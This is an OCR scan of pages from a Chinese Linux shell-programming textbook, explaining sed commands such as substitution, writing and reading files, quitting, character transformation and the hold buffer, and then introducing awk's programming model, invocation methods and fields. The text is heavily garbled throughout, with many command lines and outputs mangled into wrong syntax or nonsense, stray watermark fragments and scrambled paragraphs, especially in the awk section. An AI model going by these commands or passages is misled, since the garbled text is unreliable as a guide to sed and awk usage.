sed -n ‘s/seu/(&)/Bg, input 

区 
以 上 两 条 命令 都 是 用 (seu) 字 符 串 替换 seu， 第 1 条 命令 中 的 (&) 就 代表 了 (seu)， 因 为 & 符 
号 保存 了 被 替换 字符 串 seu 的 值 ; 第 2 条 命令 显得 比较 直观 ， 两 条 命令 得 到 同样 的 执行 结果 。 
下 面 的 例 4-21 演示 上 述 两 条 命令 的 执行 结果 : 
例 4-21: ed 替换 文本 中 & 符 号 的 用 法 


root@zawu globus]# sed -n 's/seu/(&)/pg' input #& 表 示 了 seu 
t should be mailed to zawu@ (seu) .edu.cen 


/0=Grid/OU=GlobusTest/OU=simpleCA- (seu)gridl. (seu) .edu.cn/OU= (seu) .edu.cn/CN= 







































































globus 
root@zawu globus]# sed -n 's/seu/ (seu)/pg' input 
t should be mailed to zawu@ (seu) .edu.en 


/0=Grid/OU=GlobusTest/OU=simpleCA- (seu)gridl. (seu) .edu.cn/OU= (seu) .edu.cn/CN= 
goes 











root@zawu globus]# 
5. 写 入 一 个 新 文件 
4.1 节 中 就 提 到 sed 命令 只 是 对 缓冲 区 中 输入 文件 的 复制 内 容 进 行 编辑 , 如 果 要 保存 编辑 
结果 ， 需 要 将 编辑 后 的 文本 重 定向 到 另 一 个 文件 -sed 写 入 文件 的 符号 为 w， 基 本 格式 为 : 
指定 地 址 w 文件 名 
w 的 用 法 与 sed 替换 文本 中 w 选项 相似 = 下 面 举 两 个 简单 的 例子 加 以 说 明 ， 例 4-22 给 HH 
将 1 一 5 行 写 入 output 文件 的 例子 ， 命 令 通过 指定 行 号 范围 来 实现 。 
例 4-22: 将 1~5 行 号 入 output 文件 
GPReeRSSCEE 1 


root@zawu globus]# cat output 
This is a Certificate Request file: 











































































































上 上 
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root@zawu globus 
列 4-23 将 与 globus 关键 字 相 匹配 的 行 号 入 output 文件 。 
例 4-23: 将 匹配 关键 字 的 行 写 入 文件 

root@zawu globus sea ny ole/ oueoue ne 
root@zawu globus oa oe 








/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=gloBus 
/home/gloBbus/ .gloBus/uUsercert.pem 
root@zawu globus 


6. 从 文件 中 读 入 文本 

sed 命令 还 可 将 其 他 文件 中 的 文本 读 入 ， 并 附加 在 指定 地 址 之 后 ，sed 读 入 文件 的 符号 为 
r， 基 本 格式 为 : 

指定 地 址 = 文件 名 
fr 通知 sed 从 另 一 个 文件 源 中 读 入 文本 ， 下 面 举 一 个 例子 来 说 明 r 的 用 法 。 首 先 ， 我们 新 
建 一 个 名 字 为 otherfile 的 文件 ， 内 容 如 下 : 


ns ns Ene fiestenline of enhne onerrtales 
This is the second line of the otherfile. 
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例 4-24 利用 sed 的 r 选 项 读 取 文本 , 它 将 在 匹配 Certificate 关键 字 的 行 后 面 加 上 otherfile 
中 的 内 容 ， 结 果 显 示 在 两 处 匹配 行 后 都 加 上 了 otherfile 的 两 行内 容 。 
例 4-24: sed 利用 上 选项 读 文件 
root@zawu globus]# cat otherfile 
This is the first line of the otherfile. 
Tntsors the Sseconcdm line of ene otherfilee 
在 与 Certificate 匹配 的 行 后 读 入 otherzfile 文件 
root@zawu globus]# sed '/Certificate/r otherfile' 
[This is a Certificate Request file: 
This is the first line of the otherfile. 
This is the second line of the otherfile. 






































# 查 看 otherfile 文件 的 内 容 








rut 


# 读 到 的 otherfile 文件 内 容 
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Certificate Subject: 
Ths on the imst ne of the ocnerfmtes 
This is the second line of the otherfile. 


# 读 到 的 otherfile 文件 内 容 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subject, and at unigquely identifies 
this user. $88 
To install this user certificate, please save this e-mail message into the following 









































file. 

/home/globus/.globus/usercert.pem 

[root@zawu globus]# 

7. 退出 命令 

sed 命令 的 q 选项 表示 完成 指定 地 址 的 匹配 后 立即 退出 ， 基 本 格式 为 : 

指定 地 址 a 

比如 ， 我 们 需要 打印 前 5 行 ， 然 后 退出 ， 可 以 用 下 面 的 命令 : 

se so ue 

假设 需要 查找 任意 字符 后 跟 r 字符 ， 再 跟 0 个 或 多 个 任意 字符 的 字符 串 ， 若 要 找 出 所 有 
这 样 的 字符 串 ， 只 需 用 下 面 的 命令 实现 : 





Se ST Y/Y rio 
若 加 上 q 选 项， 则 表示 匹配 到 多 
如 下 面 的 例 4-25 所 示 。 


例 4-25: sed 退出 命令 
raotazawt gloouslt sed m/e/ 











1 个 满足 要 求 的 字符 串 后 就 退出 ， 两 条 命令 的 执行 结果 





rts 




















oy 





input # 匹 配 全 部 字符 中 








m 


his is a Certificate Request file: 

Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
Pne obove strinos known as vouruser certifieate Suectr and it uniouely ENET 的 ES 
this user. $88 


全 


To install this user certificate, please save this e-mail message into the following 
Ne 
/home/globus/.globus/usercert .pem 


root@zawu globus]t sed /rE.*/o, # 匹 配 第 1 个 字符 串 后 立即 退出 











Te 
This is a Certificate Request file: 
root@zawu globus]# 
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8. 变换 命令 
sed 命令 的 y 选项 表示 字符 变换 ， 它 将 一 系列 的 字符 变换 为 相应 的 字符 ，sed y 命令 是 对 
字符 的 逐个 处 理 ， 它 的 基本 格式 为 : 
sed 'y/ 被 变换 的 字符 序列 /变换 的 字符 序列 /， 输入 文件 
sedy 命令 将 被 变换 字符 序列 中 的 字符 逐个 用 变换 字符 序列 中 的 字符 替代 , 比如 以 下 命令 
将 input 文件 中 1 变换 为 A、2 变换 为 B、3 变换 为 C、4 变换 为 D、5 变换 为 上 。 
Su 大 上 185AECEDE 人 EUDE 
sedy 命令 要 求 被 变换 的 字符 序列 和 变换 的 字符 序列 等 长 ， 否 则 sed y 命令 将 报错 ， 下 面 
的 例 4-26 中 的 第 1 条 命令 就 是 的 报错 信息 ， 例 4-26 中 的 第 2 条 命令 将 input 文件 中 的 
fm 和 j 字符 都 变换 成 大 写字 母 。 
例 4-26: 演示 sed 变换 命令 的 用 法 
第 1 条 命令 : 变换 字符 序列 不 等 长 ，sed 命令 报错 
root@zawu globus]# sed 'y/fmj/FMJF/' input 
sed: -e 表达 式 #1， 字 符 11: strings for ‘“y' command are different lengths 
第 2 条 命令 : 将 fmj 三 个 字符 变换 为 大 写 
root@zawu globus]# sed 'y/fmj/FMJ/' input 
This is a CertiFicate Request File: 
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CertiFicate SubJect: 
/0=Grid/OU=GlobusTest/OU=siMpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certiFicate subJect, and it uniquely identiFies 
this user. $88 

Tomstalthis user eertiplicater please save thse Moti Messeage nto Che Bolmkowine 
Elles 


/hoMe/globus/.globus/usercert .peM 
[root@zawu globus]# 


9. 显示 控制 字符 

控制 字符 就 是 非 打印 字符 ， 如 退 格 键 、Fl 键 、Shift 键 等 ， 有 些 文 件 中 会 包含 这 些 字符 ， 
sed 1 命令 可 以 显示 出 文件 中 的 控制 字符 ， 方 便 用 户 对 控制 字符 进行 处 理 。 

一 个 名 为 control 的 文件 中 包含 有 控制 字符 ， 我 们 用 sed 1 命令 显示 该 文件 中 所 有 的 控制 

字符 ， 如 下 面 的 例 4-27。 

# 例 4-27: sed 显示 控制 字符 

[EootQ@zawl gloBbus]t sed nT1$1 conctrzol 

NOS331> < < 0SNE:; 

[root@zawu globus]# 


例 4-27 中 命令 用 正则 表达 式 '1,$' 表 示 从 第 一 行 到 最 后 一 行 ， 各 系统 控制 学 符 的 显示 值 可 
能 不 同 。 

10. 在 定位 行 执行 命令 组 

sed 编辑 命令 中 的 “个” 符号 可 以 指定 在 定位 行 上 所 执行 的 命令 组 ， 它 的 作用 与 sed 的 -e 
选项 类 似 ， 都 是 为 了 在 定位 行 执行 多 个 编辑 命令 。 
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例 4-28 说 明了 “个 ”符号 的 用 法 ， 其 中 第 1 条 命令 是 打印 与 Certificate 关键 字 匹 配 行 的 
内 容 及 其 行 号 ， 与 例 4-4 的 例子 是 等 价 的 ， 即 以 下 两 条 命令 是 等 价 的 : 


sed -n -e '/Certificate/p' -e '/Certificate/=' input 





sed -n 'Certificate/{p;=} ae 
例 4-28 中 的 第 2 条 命令 是 在 与 certificate 关键 字 匹 配 行 将 全 部 的 i 替换 为 I、 将 第 1 个 le 
替换 为 99。 
例 4-28: sed {} 符 号 的 用 法 
第 1 条 命令 : 打印 与 Certificate 匹配 的 行 及 其 行 号 
root@zawu globus]# sed -n '/Certificate/{p;=}' input 



































This is a Certificate Request file: 


Certificate Subject: 
6 


pa 


2 条 命令 : 在 与 certificate 关键 字 匹 配 行将 全 部 的 i 将 换 为 IT、 将 第 1 个 le 蔡 换 为 99 
root@zawu globus]# sed '/Certificate/{s/i/I/g;s/le/99/;}' input 
mh oerereteote Reest EL 
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CertIfIcate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


Therabove strino es known as vour USer certlftiecate subject oandit untouely identnftles 
this user. $88 

Torinstald tnis User certifticater please seave thls oe mellmesseage nto the toleowene 
El 


/home/globus/.globus/usercert .pem 
[root@zawu globus]# 


4.2.4 sed 高 级 编辑 命 售 的 一 组 例子 


相对 于 4.2.3 节 介 绍 的 sed 基本 编辑 命令 ，sed 的 一 些 编辑 命令 较为 生 个 ， 不 太 常 用 。 本 
节 举 一 组 例子 介绍 sed 高 级 编辑 命令 ， 供 需要 深入 掌握 sed 编程 的 读者 参考 。 
1. 处 理 匹 配 行 的 下 一 行 
sed 编辑 命令 n 的 意义 是 读 取 下 一 个 输入 行 ， 用 aa 后面 的 一 个 命令 处 理 该 行 ， 由 于 此 时 
通常 有 多 个 编辑 命令 ， 所 以 ， 编 辑 命 令 n 需要 与 人 } 符 号 结合 使 用 。 
例 4-29 演示 了 编辑 命令 mn 的 用 法 , 例 中 命令 的 意义 是 找 出 certificate 关键 字 的 匹配 行 ( 例 
4-29 结果 中 certificate 用 下 画 线 标注 处 )， 然 后 在 匹配 行 的 下 一 行 执 行 Mly99 命令 ， 即 在 下 一 
行将 工 字符 串 替 换 为 99。 结 果 显 示 为 第 1 个 certificate 的 匹配 行 是 第 10 行 ， 然 后 将 第 11 行 
的 install 蔡 换 为 了 insta99 〈 例 4-29 结果 中 insta99 用 下 画 线 标注 处 )。 

# 例 4-29: sed n 编辑 命令 的 用 法 


[eeootErzewanolobsl i seo /ecereuEieate/ (m/e 
This is a Certificate Request file: 
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Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 

Tommstaoo thls user eertitlieoater pplease save hisee momlmessagen into tne Eomkeowine 
全 部 


/home/globus/.globus/usercert .pem 
[root@zawu globus]# 


2. sed 缓冲 区 的 处 理 

4.1 节 提 及 sed 命令 将 输入 文件 复制 到 缓冲 区 ， 对 缓冲 区 中 的 复制 内 容 处 理 后 ,将 其 写 入 
输出 文件 .实际 上 ,sed 有 两 种 缓冲 区 :模式 缓冲 区 (Pattern Buffer) 和 保持 缓冲 区 (Hold Buffer)。 
We 而 保持 缓冲 区 是 另 一 块 内 存 空间 ，sed 的 一 些 编辑 命令 可 以 对 保 
持 缓冲 区 进行 处 理 ， 并 与 模式 缓冲 区 的 内 容 互 换 。 
下 面 举 几 个 例子 来 说 明 sed 缓冲 区 的 处 理 ， 例 4-30 演示 了 sed 命令 的 h、x 和 G 选项 的 
含义 。 

# 例 4-30: sed h、x 和 G 命令 的 用 法 


际 S5edzsRUESTIOSUSIHEEEO 二 SUOIEESA 二 和 人 全 大 二 全 和 人 而 ED 
This is a Certificate Request file: 
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Sarena ese. # 匹 配 subject， 将 此 行 写 入 保持 缓冲 区 





Certificate Subject:# 匹 配 seugrigdq， 将 此 行 写 入 保持 缓冲 区 ， 并 将 原来 保持 缓冲 区 的 内 容 输 出 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 

To install this user certificatée, please save this e-mail message into the following 
file. 


/home/globus/ .globus/usercert .pem 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
# 到 最 后 一 行 时 ， 输 出 保持 缓冲 区 的 内 容 


[root@zawu globus]# 

例 4-30 中 的 命令 由 三 个 -e 选项 带 上 三 个 编辑 命令 组 成 ， 第 1 个 -e 选项 后 的 编辑 命令 将 
Subject 关键 字 的 匹配 行 号 入 保持 组 种 区 (h 命令 指 将 模式 缓冲 区 内 容 复 制 到 保持 绥 冲 区 ); 第 
2 个 -e 选项 后 的 编辑 命令 是 遇见 seugrid 关键 字 的 匹配 行 时 ， 将 保持 缓冲 区 中 的 内 容 输 出 ， 并 
将 seugrid 关键 字 的 匹配 行 写 入 保持 缓冲 区 ， 因 此 ， 例 4-30 的 结果 中 ， 原 本 seugrid 行 的 位 置 
变 为 了 Subject 行 (x 命令 是 互 换 模式 缓冲 区 和 保持 缓冲 区 的 文本 内 容 );， 第 3 个 -e 选项 后 的 
编辑 命令 表示 到 最 后 一 行 时 《用 $ 符 号 匹配 )， 将 保持 缓冲 区 的 内 容 追 加 到 模式 缓冲 区 中 〈G 
命令 的 意义 )， 因 此 ， 图 4-30 的 结果 中 ， 最 后 一 行 是 seugrid 行 。 

h 和 H、g 和 6G 是 两 组 对 应 的 命令 ，h 和 了 HH 命令 是 模式 缓冲 区 内 容 符 换 保持 缓冲 区 内 容 ， 
不 过 hh 是 副本 ， 即 将 保持 缓冲 区 的 旧 内 容 窗 盖 掉 ， 而 H 是 妃 加 ， 即 在 保持 缓冲 区 旧 内 容 上 增 
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可 





加 新 的 内 容 ; g 和 G 命令 是 保持 缓冲 区 内 容 蔡 换 模 式 缓冲 区 内 容 ， 同 样 ，g 是 副本 、G 是 追 
加 。 下 面 的 例 4-31 说 明了 sed 命令 的 互 选项 ， 该 例子 中 的 命令 仅 将 例 4-30 命令 中 的 x 改 成 
H， 即 第 2 个 -e 选项 后 的 编辑 命令 将 seugrid 关键 字 的 匹配 行 追 加 到 保持 缓冲 区 中 ， 由 此 ， 保 
持 绥 冲 区 中 的 文本 应 该 是 两 行 : Subject 的 匹配 行 和 seugrid 的 匹配 行 ， 第 2 个 -e 选项 后 的 编 
辑 命 令 将 保持 缓冲 区 内 容 在 模式 缓冲 区 最 后 输出 ， 结 果 显 示 确 为 上 述 两 行 。 

# 例 4-31: seq 命令 的 用 法 


[root@zawu globus]# sed -e '/Subject/h' -e '/seugrid/H' -e '$G' 
This is a Certificate Request file: 







































































































































































input 
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Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subJject, and it unigquely identifies 
this user. $88 

To imnstalitnns user cererfticater leaseseave tnrsee marmimessage ineo Che Eomewire 
file. 


/home/globus/.globus/usercert .pem 
Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 

# 以 上 带 下 画 线 的 两 行 来 自 保持 缓冲 区 

[root@zawu globus]# 

3. 利用 分 号 分 隔 多 个 编辑 命令 

除了 使 用 -e 和 人 符号 可 以 实现 sed 的 多 编辑 命令 之 外 ,利用 分 号 (;) 也 可 实现 类 似 功 能 ， 
基本 格式 为 : 

sed ' 编 辑 命令 1; 编 辑 命令 2;.…..， 输入 文件 

例 4-32 演示 了 利用 分 号 《;) 分 隅 多 个 编辑 命令 ， 例 中 命令 用 分 号 分 隅 两 个 百 换 操作 。 

# 例 4-32: 利用 分 号 分 隅 多 个 编辑 命令 

[root@zawu globus]# sed 's/globus/GLOBUS/; s/seugrid/SEUGRID/' 

This is a Certificate Request file: 
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nate 
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Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-SEUGRID]1.seu.edu.cn/OU=seu.edu.cn/CN=GLOBUS 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 

To install this user certificate, please save this e-mail message into the following 
Foe 


/home/GLOBUS/ .globus/usercert .pem 
[root@zawu globus] 


利用 分 号 分 隔 多 条 编辑 命令 等 价 于 用 -e 选项 引出 多 个 编辑 命令 ， 如 下 面 的 两 条 命令 ， 但 
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很 熟悉 


WD 


4 








云天 


此 ，bash Shell 导 


可 参见 本 书 第 11 章 的 论述 


值得 注意 的 是 ，C Shell 不 支持 sed 二 级 命令 提示 符 ，bash Shell 是 Bourne Shell 的 扩展 。 
公 述 。 
口 

由 wk 编程 


是 ， 用 分 与 显 
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和 As 、 

得 更 为 简洁 。 
sed 's/globus/GLOBUS/; 
sed =e 


将 出 现 “> 


在 Bourne Shell 中 ， 还 有 一 利 





yellol sn BU 






























































之 后 加 上 (0') 


s/seugrid/SEUGRID/' input 
es svgrelia/ svn ue 
P sed 多 编辑 命令 用 法 ， 输 入 “sed'”， 按 “Enter” 键 ，Shell 
二 级 命令 提示 符 ， 在 此 可 以 输入 多 条 编辑 命令 ， 最 后 一 条 编辑 命令 
符号 ， 然 后 跟 输入 文件 结束 sed 命令 。 例 4-33 是 说 明 这 一 用 法 的 例子 ， 在 二 级 命令 提示 符 下 
连续 输入 三 条 编辑 命令 。 
# 例 4-33: 在 二 级 命令 提示 符 下 输入 多 个 编辑 命令 
[root@zawu globus]# sed ' 
> s/globus/GLOBUS/ 
> s/seugrid/SEUGRID/ 
> Co mia 
This is a Certificate Request file: 


It should be mailed to zawuQ@seu.edu.cn 


Certificate Subject: 


this user. $88 


/0=Grid/OU=GlobusTest/OU=simpleCA-SEUGRID]1 .seu.edu.cn/OU=seu.edu.cn/CN=GLOBUS 
[root@zawu 9g 


Lobus ] # 

















The above string is known as your user certificate subject, and it uniquely identifies 


To install this user certificate, please save this e-mail message into the following file. 

















容 Bourne Shell 的 特征 ，Bourne Shell、C Shell 和 bash Shell 的 起 源 与 关系 














那么 学 习 awk 编程 将 事半功倍 。 
































awk 是 上 述 三 位 创建 者 姓 的 首 字母 。awk 的 基本 语法 与 C 语 
指定 规则 浏览 和 

















awk 功能 与 sed 相似 ， 都 是 用 来 进行 文本 处 至 
有 有 























awk 是 由 Alfred V.Aho、Peter J.Weinberger 和 Brian W.Kernighan 于 1977 年 开发 的 编 













































































AN 
程 语 
言 类 似 ， 读 者 如 果 对 C 语言 
的 ，awk 语言 可 以 从 文件 或 字符 
| 取信 息 ， 在 抽取 信息 的 基础 上 ， 才 能 进行 其 他 文本 操作 。 
awk 自 诞 生 以 来 ， 存 在 很 多 个 版 本 ，! 
。nawk 是 1985 年 开发 的 ,The awk Programming Laneuage 
年 , ANSI 正式 发 布 POSIX awk。 目前 , 使 用 六 
语言 可 以 实现 数据 查找 、 抽 取 文 件 
awk 是 一 种 编程 语言 ， 
A 

















Ph 基于 
书 对 
的 是 gawk, Linux 系统 /bin 
两 个 命令 ,awk 实际 上 是 /bin/gawk 的 链接 , gawk 是 一 种 功能 很 强 且 很 实用 的 语言 , 利用 gawk 
gawk 是 日 









































其 进行 了 详 旨 

















BB 品 
最 初 的 awk、nawk、POSIX awk， 到 最 新 的 gawk 
FP 数 据 、 创 建 管道 流 命令 等 功能 。 
前 最 新 的 版 本 ， 当 


描述 。1993 





目录 下 有 awk 和 gawk 


人 





青 远 见 教 育 集 


团 | 




















前 的 Linux 版 本 用 的 都 是 gawk。 本 


雪 网 : www. hqyj. com 
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书 对 awk 和 gawk 不 再 区 分 ， 统 称 为 awk 编程 。 


3.1 awk 编程 模型 


awk 为 程序 员 提 供 了 完善 的 编程 模型 ， 理 解 awk 编程 模型 非常 














上 理解 awk， 为 学 习 具 体 的 awk 编程 细节 打下 基础 。 








awk 程序 




























































































EE 要， 这 有 利于 读者 从 宏 





一 个 主 输入 循环 (main input loop ) 维持 ， 主 输入 循环 反复 执行 ， 直 到 终止 条 














件 被 触发 。 当 然 ， 主 输入 循环 无 须 由 程序 员 去 写 ，awk 已 经 搭 好 主 输入 循环 的 框架 ， 程 序 员 写 




















De 























的 代码 被 杠 到 主 输入 循环 框架 中 执行 。 主 输入 循环 自动 依次 读 取 输 入 文件 行 ， 以 供 处 理 ， 而 处 

















里 文件 行 的 动作 是 由 程序 员 添 加 的 。 其 他 编程 语言 ， 如 C、C++ 和 Java 等 ， 程 序 员 需 要 写 一 个 


main 函数 ， 然 后 打开 文件 、 读 取 文 件 行 、 进 行 相应 处 理 、 关 闭 文 件 ， 但 是 ，awk 自动 完成 了 上 


述 步 又， 使 程序 员 可 以 更 加 便捷 寺 


文件 行 完毕 后 执行 ，awk 程序 的 执行 过 程 如 图 
分 为 三 个 阶段 ， 读 输入 文人 
























































E 语 


也 书写 程序 ， 这 正 是 awk 和 其 他 编程 


言 的 本 质 区 别 。 


awk 还 定义 了 两 个 特殊 的 字段 :，BEGIN 和 END，BEGIN 用 于 在 主 输 入 循环 之 前 执行 ， 
































第 一 阶段 : 读 取 输入 文件 之 前 ， 由 BEGIN 标 识 





第 二 阶段 : 主 输入 循环 ， 对 每 个 
输入 文件 行进 行 处 理 

















第 三 阶段 : 读 取 输入 文件 完毕 ， 由 END 标 识 

















4-1 awk 编程 模型 


4.3.2 awk 调用 方法 
调用 awk 的 方法 与 调用 sed 类 似 ， 也 有 三 种 方式 ， 一 种 为 Shell 命令 行 方式 ， 另 外 两 种 























是 将 awk 程序 写 入 脚本 文件 ， 然 后 执行 该 脚本 文 们 





























Q 在 Shell 命令 行 输入 命令 调用 awk， 格 式 为 : 
awk [-F 域 分 隔 符 ] 'awk 程序 段 ' 输入 文件 

同样 要 注意 ， 需 要 用 单 引 号 将 awk 程序 段 引 起 来 。 
@ 将 awk 程序 段 插入 脚本 文件 ， 然 后 通过 awk 命令 调用 它 ， 格 式 为 : 





awk -f awk 脚本 文件 输入 文件 


















































与 sed 命令 类 似 ，awk 也 用 -f 选 项 表示 调用 awk 脚本 文件 。 











即 在 未 读 取 输 入 文件 行 之 前 执行 ，END 则 相反 ， 用 于 在 主 输入 循环 之 后 执行 ， 即 在 读 取 输 入 














4-1 所 示 ， 我 们 也 可 以 简单 地 将 awk 编程 模型 
F 之 前 的 执行 代码 段 〈 由 BEGIN 关键 字 标 识 )、 读 取 输 入 文件 时 的 
执行 代码 段 、 读 输入 文件 完毕 之 后 的 执行 代码 段 〈 由 END 关键 学 标识 





MA Lo 

















F。 三 种 方式 的 命令 格式 归纳 如 下 : 
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@) 将 sed 命令 插入 脚本 文件 后 ， 最 常用 的 方法 是 设置 该 脚本 文件 为 可 执行 ， 然 后 直接 执 
行 该 脚本 文件 ， 格 式 为 : 

./awk 脚本 文件 输入 文件 

如 用 第 @@ 种 方式 调用 awk，awk 脚本 文件 仍 以 sha-bang〈#!) 符号 开头 ， 但 是 ，sha-bang 
符号 后 面 加 上 awk 或 gawk 的 路 径 。 


时 awk 病程 的 一 组 例子 站 


awk 是 最 难 掌握 的 一 种 Shell 文本 处 理工 具 ， 因 为 awk 语法 复杂 ， 并 包含 了 太 多 的 编程 
细节 。 本 节 通 过 10 个 主题 介绍 awk 编程 ， 这 10 个 主题 虽然 远 不 能 涵盖 awk 的 所 有 内 容 ， 但 
是 足以 让 读者 掌握 awk 语言 的 基本 语法 ， 并 在 Shell 编程 中 熟练 使 用 awk。 
4.4.1 awk 模式 匹配 
任何 awk 语句 都 由 模式 〈pattern) 和 动作 (action》 组 成 。 模式 是 一 组 用 于 测试 输入 行 是 
























































































































































和 否 需 要 执行 动作 的 规则 ， 动 作 是 包含 语句 、 函 数 和 表达 式 的 执行 过 程 。 简 言 之 ， 模 式 决 定 动 
作 何 时 触发 和 触发 事件 ， 动 作 执 行 对 输入 行 的 处 理 。 本 市 通过 一 组 例子 讲述 awk 模式 匹配 ， 
























































awk 模式 匹配 经 常 需要 用 到 正则 表达 式 ,awk 文 持 表 3-1 和 表 3-2 所 示 的 所 有 正则 表达 式 元 字 

符 ，awk 支持 “?” 和 “+” 两 个 扩展 元 字符 ， 而 'grep 和 sed 并 不 文 持 。 
首先 给 出 一 个 简单 的 模式 匹配 例子 以 进一步 解释 模式 和 动作 ， 同 时 给 出 本 例子 的 三 种 

调用 方法 ， 以 便 读者 掌握 4.3.3 节 所 述 的 awk 调用 方法 。 请 看 下 面 的 例 4-34: 

例 4-34: 第 一 种 方法 调用 awk 打印 空白 行 


Eoolaravi olonns lam or ne Ls ln ne 



















































































Tsens a ilaomne ne 
Tso re onlomk liners 
Mae dle em oedewe latins 
Tesoro onlank lines 





as lmnk ne 
root@zawu globus]# 


列 4-34 中 的 命令 是 awk 的 第 一 种 调用 方式 ， 单 引号 中 间 是 awk 命令 ， 该 awk 命令 由 两 
部 分 组 成 ， 以 /符号 分 隔 ， 亿 部 分 是 模式 ， 花 括号 部 分 是 动作 ， 该 awk 命令 表示 一 旦 读 入 的 输 
入 文件 行 是 空 行 ， 就 打印 “This is ablank line.”。 仿 是 正则 表达 式 ， 表 示 空 白 行 ，print 表示 该 
动作 是 打印 操作 ，input 是 输入 文件 名 称 。 

下 面 的 例 4-35 演示 了 awk 的 第 二 种 调用 方式 ，scrawk 文件 中 只 有 一 行 awk 单 引 号 中 的 
内 容 ， 再 用 awk -f 调用 scr.awk 文件 。 
例 4-35: 第 三 种 方法 调用 awk 打印 空白 行 
root@zawu globus]# cat scr.awk # 查 看 scr .awk 文件 内 容 


/rine in e a plene Imen 
root@zawu globus]# awk -f scr.awk input # 调 用 scr .awk 文件 





















































































































































nse llank ne 
blank line. 
blank line. 
lalamik le 








可 
本 
加 
vo 出 oy 
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RE 二 EU 二 
[root@zawu globus]# 





如 果 我 们 要 用 直接 执行 awk 脚本 文件 的 方法 来 调用 ， 与 sed 脚本 一 相 





1 行 加 上 sha-bang 符号 ， 脚 本 内 容 为 : 

srcl.awk: 打印 空白 行 

!/bin/awk -f 

Ze ee ee re 
然后 为 srcl.awk 附加 可 执行 权限 ， 并 执行 它 ， 
例 4-36: 第 三 种 方法 调用 awk 打印 空白 行 
root@zawu globus]# chmod utx scrl.awk 












































root@zawu globus]# 
blank 
blank 
blank 
blank 
blank 
root@zawu globus]# 


/Scere et 
has ea line. 
dm be El line. 
Da ler el line. 
Dna le el line. 


Amalen ale el line. 





























E， 在 awk 脚本 的 第 





第 三 种 方法 调用 awk， 如 下 面 的 例 4-36 所 示 : 


awk 模式 匹配 远 不 止 这 些 简单 内 容 ， 在 进一步 讲述 awk 模式 匹配 前 ,我 们 先 讲 述 awk 的 








记录 (Records) 和 域 (Fields)。 


4.4.2 ”记录 和 域 
awk 认为 输入 文件 是 结构 化 的 ，awk 将 每 个 








输入 文件 行 定义 为 记录 ， 行 中 的 每 个 字符 串 




















定义 为 域 ， 域 之 间 用 空格 、Tab 键 或 其 他 符号 进 
述 了 文本 中 的 一 条 记录 , 该 条 记录 由 三 个 域 组 成 (图 中 用 下 夯 线 标 出 ), 前 
之 间 用 空格 符 分 隔 , 后 两 个 域 Hao 和 025-83481010 之 间 用 Tab 键 分 隔 , 琴 
格 或 Tab 键 当做 一 个 分 隔 符 来 处 理 。 对 文本 文件 分 域 处 至 





























方法 。 第 5 章 将 要 介绍 的 sorts、 uniq、join、cut 
读者 在 此 能 对 记录 的 域 及 其 域 分 隔 等 有 准确 的 理 






































行 分 隔 # 分 隔 域 的 符号 叫做 分 隔 符 。 





图 4-2 














解 。 








两 个 域 Li 和 Hao 








个 或 多 个 连续 的 空 





是 Linux 系统 中 很 多 命令 都 使 用 的 
等 命令 都 用 到 了 域 和 域 分 隔 符 的 概念 ， 希 望 











awk 定义 域 操 作 符 $ 来 指定 执行 动作 的 域 , 域 操 作 符 $ 后 面 跟 数字 或 变量 来 标识 域 的 位 置 ， 








每 条 记录 的 域 从 1 开始 编号 ， 如 $1 表示 第 1 个 域 、$2 表示 第 














接 下 来 , 我 们 举 几 个 例子 来 说 明 awk 记录 和 
入 文件 ， 
及 域 分 隔 符 如 图 4-3 所 示 。 

















Li Hao njue 












































1 个 域 、$0 表示 所 有 的 域 。 
域 的 用 法 ,新 建 名 为 sturecord 的 文件 作为 输 
这 个 文件 的 每 个 记录 是 学 生 名 字 、 所 在 学 校 和 电话 号 码 ，sturecord 文件 的 记录 、 域 








025-83481010 
025-83466534 


025-83494883 
025-83680010 


Zhang Nu nju 
Wang Bin seu 
LiHao 025-83481010 Zhu Lin mupt 
1 + 1 | 
空格 符 Tab 键 Tab 键 


空格 符 Tab 键 


4-2 ”包含 三 个 域 的 一 条 记录 


4-3 ”sturecord 文件 的 记录 





位 





远见 教 


























集团 ' 
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sturecord 中 的 记录 分 为 4 个 域 ， 以 第 一 条 记录 为 例 ， 第 1 个 域 为 





Li， 第 2 个 域 为 Hao， 


第 3 个 域 为 nue， 第 4 个 域 为 025-83481010。 例 4-37 利用 awk 打印 域 ， 例 中 第 1 条 命令 按 
照 2?、1、4、3 的 次 序 打 印 sturecord 的 域 ， 第 2 条 命令 利用 $0 打印 sturecord 的 全 部 域 。 




















例 4-37: awk 命令 打印 域 
第 1 条 命令 : 打印 指定 域 
[ootzam losl 让 2 
5ESASOTOEED 本 ES 
Ju Zhang 025=83466534 nju 
BlinwWang 02 334948839Sseu 
Bi 083800n0Nnauee 
第 2 条 命令 : 打印 全 部 域 
root@zawu globus]# awk '{print $0}' sturecord 
Li Hao njue 025 25421010 
Zhang Ju wm 025-83466534 
Wang Bin seu 025-83494883 
ol a ngueeoq02s 32500n0 


[root@zawu globus]# 








域 操作 符 $ 后 面 还 可 以 跟 变 量 ， 或 者 变量 运算 表达 式 ， 例 4-38 中 在 $ 后 跟 变 量 指定 域 号 : 





# 例 4-38: $ 后 跟 变量 指定 域 号 

[root@zawu globus]# awk 'BEGIN {one=1;two=2} 
njue 

